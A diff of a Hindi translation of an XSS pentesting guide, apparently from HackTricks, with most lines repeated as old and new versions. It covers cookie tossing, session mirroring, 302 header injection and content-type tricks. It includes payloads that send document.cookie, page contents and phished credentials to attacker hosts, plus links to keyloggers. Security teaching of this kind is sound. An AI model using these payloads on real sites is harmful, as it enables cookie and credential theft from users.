यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप XSS के लिए **कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं जिससे मुख्य डोमेन या अन्य उपडोमेन (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
आप इस तकनीक का एक बड़ा दुरुपयोग [**इस ब्लॉग पोस्ट में**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) पा सकते हैं।
आप इस तकनीक का एक शानदार दुरुपयोग [**इस ब्लॉग पोस्ट में**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) पा सकते हैं।
### अपने सत्र को व्यवस्थापक को भेजना
@ -766,7 +767,7 @@ dom-xss.md
### सत्र मिररिंग
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद के लिए पूछने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं, उसे देखेगा लेकिन अपने सत्र से।
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
@ -825,9 +826,9 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने**ी कोशिश कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को नहीं समझते हैं यदि HTTP response status code 302 है, इसलिए केवल एक cross-site scripting payload बेकार है।
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं**, तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने**े लिए प्रयास कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते हैं, इसलिए केवल एक cross-site scripting payload बेकार है।
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS payload को body के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को body के अंदर XSS payload की जांच और निष्पादित करने की अनुमति देता है।\
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली Location header_, `resource://`
### केवल अक्षर, संख्या और बिंदु
@ -836,11 +837,11 @@ document['default'+'View'][`\u0061lert`](3)
### XSS के लिए मान्य `<script>` Content-Types
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक स्क्रिप्ट को **content-type** जैसे `application/octet-stream` के साथ लोड करने की कोशिश करते हैं, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक **content-type** के साथ स्क्रिप्ट लोड करने का प्रयास करते हैं जैसे `application/octet-stream`, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
केवल **Content-Type** जो Chrome को **लोड की गई स्क्रिप्ट** चलाने में सहायता करेंगे, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
केवल **Content-Type** जो Chrome को एक **लोड की गई स्क्रिप्ट** चलाने का समर्थन करेगा, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -931,7 +932,7 @@ import { partition } from "lodash"
### xml Content Type
यदि पृष्ठ एक text/xml सामग्री प्रकार वापस कर रहा है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
यदि पृष्ठ एक text/xml सामग्री प्रकार लौटाता है, तो एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -993,7 +994,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require` को अप्रत्यक्ष रूप से एक्सेस करना
[इसके अनुसार](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) मॉड्यूल को Node.js द्वारा एक फ़ंक्शन के भीतर लपेटा जाता है, जैसे:
[इसके अनुसार](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) मॉड्यूल को Node.js द्वारा एक फ़ंक्शन के भीतर लपेटा जाता है, इस तरह:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1267,9 +1268,9 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> यदि HTTPOnly ध्वज कुकी में सेट है, तो आप **JavaScript से कुकीज़ तक पहुँच नहीं पाएंगे**। लेकिन यहाँ आपके पास [इस सुरक्षा को बायपास करने के कुछ तरीके हैं](../hacking-with-cookies/index.html#httponly) यदि आप भाग्यशाली हैं।
> आप **JavaScript से कुकीज़ तक पहुँच नहीं पाएंगे** यदि कुकी में HTTPOnly ध्वज सेट किया गया है। लेकिन यहाँ आपके पास [इस सुरक्षा को बायपास करने के कुछ तरीके हैं](../hacking-with-cookies/index.html#httponly) यदि आप भाग्यशाली हैं।
### पृष्ठ सामग्री चुराएँ
### पृष्ठ सामग्री चुराना
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1358,9 +1359,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_छोटे समय एक प्रतिक्रिया देने वाले पोर्ट को इंगित करते हैं_ _लंबे समय कोई प्रतिक्रिया नहीं होने को इंगित करत हैं।_
_छोटी समयावधियाँ एक प्रतिक्रिया देने वाले पोर्ट को इंगित करती हैं_ _लंबी समयावधियाँ कोई प्रतिक्रिया नहीं होने को इंगित करत हैं।_
Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा करें [**यहा**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**यहा**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)।
Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा करें [**यहा**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**यहा**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)।
### क्रेडेंशियल्स के लिए पूछने वाला बॉक्स
```html
@ -1381,7 +1382,7 @@ body:username.value+':'+this.value
### कीलॉगर
गिटहब पर खोजते समय मुझे कुछ अलग-अलग मिले:
गिटहब पर खोजते समय मैंने कुछ अलग-अलग कीलॉगर पाए:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1473,7 +1474,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
```
### Regex - Access Hidden Content
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट इसे ढूंढना अभी भी संभव है जब REGEX के इनपुट का मान हटा दिया गया हो:
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएं, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट इसे खोजने के लिए संभव है, भले ही REGEX के इनपुट का मान हटा दिया गया हो:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1517,7 +1518,7 @@ xss-in-markdown.md
### गतिशील रूप से बनाए गए PDF में XSS
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाना JS कोड निष्पादित** करे।\
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाने JS कोड को निष्पादित** करे।\
तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **सर्वर XSS** का कारण बन सकते हैं।
{{#ref}}
@ -1532,7 +1533,7 @@ pdf-injection.md
### Amp4Email में XSS
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP घटकों](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं।